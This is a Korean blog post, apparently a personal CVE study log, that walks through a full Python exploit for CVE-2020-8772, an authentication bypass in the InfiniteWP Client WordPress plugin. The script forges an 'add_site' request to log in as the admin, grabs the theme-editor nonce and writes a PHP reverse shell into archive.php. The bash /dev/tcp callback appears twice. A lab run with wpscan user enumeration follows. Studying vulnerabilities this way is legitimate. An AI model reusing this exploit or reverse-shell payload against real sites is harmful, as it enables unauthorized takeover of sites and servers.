CVE-2020-8772 세부정보
- 인증우회 취약점 - Authentication Bypass
- 관리자 계정 이름만 만 있어도 로그인 가능
CVE-2020-8772 설명
CVE-2020-8772 취약점은 1.9.4.5 버전에서 발견된 인증우회 - Authentication Bypass 취약점 입니다
이 취약점은 플러그인에 iwp_mmb_set_request 라는 함수에서 인증우회를 할수있는 점에서 발생한다.
공격자는 Wordpress 관리자 계정에 이름만 알고있어도 로그인을 할수있다.
POC 제작
https://blog.sunggwanchoi.com/kor-infinitewp-client-1-9-4-5-authentication-bypass/
위 자료를 참고하였습니다.
iwpExploit
def iwpExploit(session, url, header, data):
url = url + "/wp-admin/"
print("[+] Trying " + url + " with IWP payload : " + data)
try:
res = session.post(url, headers=header, data=data)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
return True
url = url + "/wp-admin/"
공격대상에 /wp-admin/ 경로 설정
try:
res = session.post(url, headers=header, data=data)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
res = session.post(url, headers=header, data=data)
sesstion.post 을 사용하여 url 에 POST 요청을 보냄
if res.status_code != 200:
만약 웹 서버에 응답 코드가 200이 아닌경우
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
에러 메세지 출력 후 현재 상태코드 출력 404 , 505
그후 에러메시지 출력후 종료
return True
정상적으로 실행되면 True 를 반환
getNonce
def getNonce(session, url, header, themeName):
"""
Get Nonce and return Nonce
:return:nonce:str:Nonce of the theme-editor.php?file=archive.php
"""
# First, see if we can visit the theme-editor.php endpoint
urlFirst = url + '/wp-admin/theme-editor.php'
print("[+] Trying " + urlFirst)
try:
res = session.get(urlFirst, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
# Second, retrieve the nonce from the page and return the nonce
urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
print("[+] Trying " + urlSecond)
try:
res = session.get(urlSecond, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
try:
soup = BeautifulSoup(res.text, features='lxml')
nonce = soup.find_all(id='_wpnonce')[0].get('value')
print("[DEBUG] Nonce = ", nonce)
except Exception as e:
print('[-] Error occurred: Potential username problem - ' + str(e))
exit(1)
return nonce
def getNonce(session, url, header, themeName):
"""
Get Nonce and return Nonce
:return:nonce:str:Nonce of the theme-editor.php?file=archive.php
"""
session , url , header , nonce , payload , ThemeName
1. session : HTTP 요청보냄.
2. url : 공격대상 url : /wp-admin/theme-editor.php
3. header : 요청시 사용할 헤더정보
4. nonce : getNonce 에서 얻은 nonce 값
5. payload : archive.php 파일에 삽입할 php 리버스쉘
6. themeName : Wordpress 사이트 테마
urlFirst = url + '/wp-admin/theme-editor.php'
print("[+] Trying " + urlFirst)
'/wp-admin/theme-editor.php' 테마 파일을 편집할수 있는 관리자 페이로 접근시도.
그후 시도하고 있다는 문자 출력
try:
res = session.get(urlFirst, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
session.get() 을 사용하여 /wp-admin/theme-editor.php 에 GET 요청 보냄
!= 200: 응답 상태가 200 이 아닌경우 오류 메세지를 출력후 종료 exit(1)
except Exception as e: 예외가 발생하면 오류출력후 종료 exit(1)
urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
print("[+] Trying " + urlSecond)
urlSecond 에서 archive.php 즉 테마파일을 편집하기 위해 테마 이름을 포함한 url 생성 + themeName
그후
시도하고 있다는걸 출력 [+] Trying + urlSecond
try:
res = session.get(urlSecond, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
session.get 을 사용하여 urlSecond 페이지에 GET 요청보냄.
if res.status_code != 200: 마찬가지로 응답상태가 200이 아니면 오류를 출력하고 종료.
except Exception as e: 예외가 발생하면 오류 출력하고 종료 exit(1)
try:
soup = BeautifulSoup(res.text, features='lxml')
nonce = soup.find_all(id='_wpnonce')[0].get('value')
print("[DEBUG] Nonce = ", nonce)
except Exception as e:
print('[-] Error occurred: Potential username problem - ' + str(e))
exit(1)
요청 페이지 응답내용은 res.txt 로 저장 BeautifulSoup을 사용해 HTML을 파싱함.
HTML 에서 id="_wpnonce" 와 관련된 모든요소를 찾음
그후 관련된 요소를 출력 print("[DEBUG] Nonce = ", nonce)
return nonce 추출한 nonce 값 반환
예외처리로 username 에 문제가 생겼다면 에러메세지 출력후 exit(1) 나가기
injectPayload
def injectPayload(session, url, header, nonce, payload, themeName):
"""
Inject the php payload into archive.php
:return:bool:True/False based on successfully injecting php payload
"""
url = url + "/wp-admin/theme-editor.php"
payloadData = {"_wpnonce": nonce, "newcontent": payload, "action": "update", "file": "archive.php", "theme": themeName, "scrollto": "0", "docs-list": '', "submit": "Update File"}
print("[+] Trying " + url)
print("[+] Full Payload : ", payloadData)
try:
res = session.post(url, headers=header, data=payloadData)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
return True
def injectPayload(session, url, header, nonce, payload, themeName):
"""
Inject the php payload into archive.php
:return:bool:True/False based on successfully injecting php payload
"""
session , url , header , nonce , payload , themeName
1. session : HTTP 요청보냄.
2. url : 공격대상 url : /wp-admin/theme-editor.php
3. header : 요청시 사용할 헤더정보
4. nonce : getNonce 에서 얻은 nonce 값
5. payload : archive.php 파일에 삽입할 php 리버스쉘
6. themeName : Wordpress 사이트 테마
url = url + "/wp-admin/theme-editor.php"
url 설정
payloadData = {
"_wpnonce": nonce,
"newcontent": payload,
"action": "update",
"file": "archive.php",
"theme": themeName,
"scrollto": "0",
"docs-list": '',
"submit": "Update File"
}
페이로드 데이터 설정
payloadData 에서 POST 요청을 전송함.
여기에서 가장 중요한것만 설명하겠습니다
1. newcontent : archive.php 에 삽입할 HP 리버스쉘 코드입니다.
2. file : archive.php 파일로 수정
print("[+] Trying " + url)
print("[+] Full Payload : ", payloadData)
try:
res = session.post(url, headers=header, data=payloadData)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
session.post(url, headers=header, data=payloadData) 에서 POST 요청을 보내면서 해더와 데이터를 전송.
payloadData 에선 nonce , payload , file , theme 등 정보가 포함되어있음 또한 이 데이터를 통해
archive.php 를 수정후 리버스쉘로 변조시킴
if res.status_code != 200: 응답상태 코드가 200이 아니면 에러 메세지 출력
except Exception as e: 예외처리가 발생하면 메세지 출력후 종류 exit(1)
return True
성공적으로 archive.php 에 리버스쉘을 작동되면 True 값을 반환
main
def main():
arg = parseArguments()
baseUrl = arg.u
username = arg.n
themeName = arg.t
######### CHANGE ME !!! #########
payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.57.142/443 0>&1'");"""
######### CHANGE ME !!! #########
print("[DEBUG] baseUrl - ", baseUrl)
print("[DEBUG] username - ", username)
print("[DEBUG] themeName - ", themeName)
print("[DEBUG] Payload - ", payload)
print("[DEBUG] (Make sure to change the payload)")
print()
# Setting up basic url, header, payload for the attack
if baseUrl[-1] == '/':
baseUrl = baseUrl[:-1]
header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"}
iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')
session = requests.session()
# Actual Attack starts - Stages are pretty self-explanatory
print("[+] Stage1: IWP Exploit & Sanity Check")
result = iwpExploit(session, baseUrl, header, iwpPayload)
print()
print("[+] Stage2: Getting Nonce")
nonce = getNonce(session, baseUrl, header, themeName)
if (nonce == False):
print("[-] Stage 2 failed. Exiting.")
exit(1)
print()
print("[+] Stage3: Injecting Payload into archive.php")
result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
if (result == False):
print("[-] Stage 1 failed. Exiting.")
exit(1)
print()
finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\n")
print("[+] Visit --> ", finalUrl, "\n")
arg = parseArguments()
baseUrl = arg.u
username = arg.n
themeName = arg.t
딱히 중요한건 아니여서 패스
######### CHANGE ME !!! #########
payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.57.142/443 0>&1'");"""
######### CHANGE ME !!! #########
archive.php 에 수정할 php 리버스쉘 설정
이부분에서 192.168.57.142/443 은 수정해야됨
print("[DEBUG] baseUrl - ", baseUrl)
print("[DEBUG] username - ", username)
print("[DEBUG] themeName - ", themeName)
print("[DEBUG] Payload - ", payload)
print("[DEBUG] (Make sure to change the payload)")
print()
패스
if baseUrl[-1] == '/':
baseUrl = baseUrl[:-1]
url 이 잘못되는걸 방지하기 위해 url 이 / 으로 끝나면 이를 제거하여 url 을 바꿈
'/'
header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"}
헤더설정
iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')
iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
페이로드를 해석하자면
{"iwp_action": "add_site", "params": {"username": "admin"}}
iwp_action 에서 IWP 플러그인에게 명령을 내려 add_site 행동에 필요한 파라미터중 username=admin 을 보내는거와 같다 따라서 username:admin 이 저장되고 action 변수에는 add_site 스트링 값이 저장된다
또한
iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')
이는 Base64 로 인코딩하여 서버에 전송한다.
print("[+] Stage1: IWP Exploit & Sanity Check")
result = iwpExploit(session, baseUrl, header, iwpPayload)
print()
print("[+] Stage2: Getting Nonce")
nonce = getNonce(session, baseUrl, header, themeName)
if (nonce == False):
print("[-] Stage 2 failed. Exiting.")
exit(1)
print()
print("[+] Stage3: Injecting Payload into archive.php")
result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
if (result == False):
print("[-] Stage 1 failed. Exiting.")
exit(1)
print()
요 3가지는 PHP 리버스쉘을 작동시키는 과정이다
또한 archive.php 파일에 리버스쉘을 삽입한다
그후
finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\n")
print("[+] Visit --> ", finalUrl, "\n")
공격이 성공적으로 완료가 되면 메세지를 출력한다
그다음 netcat 리스너를 설정하라는 메세지도 함께 출력되는데
그로인해 원격쉘에 접속할수 있게 된다
CVE-2020-8772 실습
먼저 관리자 계정에 이름을 알아내야 되기 때문에
wpscan --url http://127.0.0.1:31337/ --enumerate u
wpscan 으로 스캔해주겠습니다
스캔중...
현재 테마는 twentytwenty 라는것을 알아냈고
관리자 계정에 이름이 admin 이라는걸 알아냈습니다
이제 PHP 리버스쉘을 실행시켜보겠습니다
공격을 진행하기 위해
원래 192.168.57.142 인걸
자기 주소의 IP 로 바꿔주었습니다
그후 실행시켜보겠습니다
( nano 편집기로 저장후 하였습니다 )
조금간에 수정으로 바꿔줬습니다
python3 cve-2020-8722.py -u http://127.0.0.1:31337/ -n admin -t twentytwenty
실행후
리스너 설정까지 하면
성공적으로 쉘을 얻어내실수가 있습니다.
마치며
2번쨰 CVE 공부시간이였다
원인모를
오류가 있었지만 1시간에 걸쳐 진행했다
다음에도 CVE 취약점으로 돌아오겠습니다
여기까지 봐주셔서 감사합니다.
'취약점 | CVE' 카테고리의 다른 글
[CVE-2024-1017] [POC] Wordpress SQL 인젝션 취약점 (0) | 2024.10.01 |
---|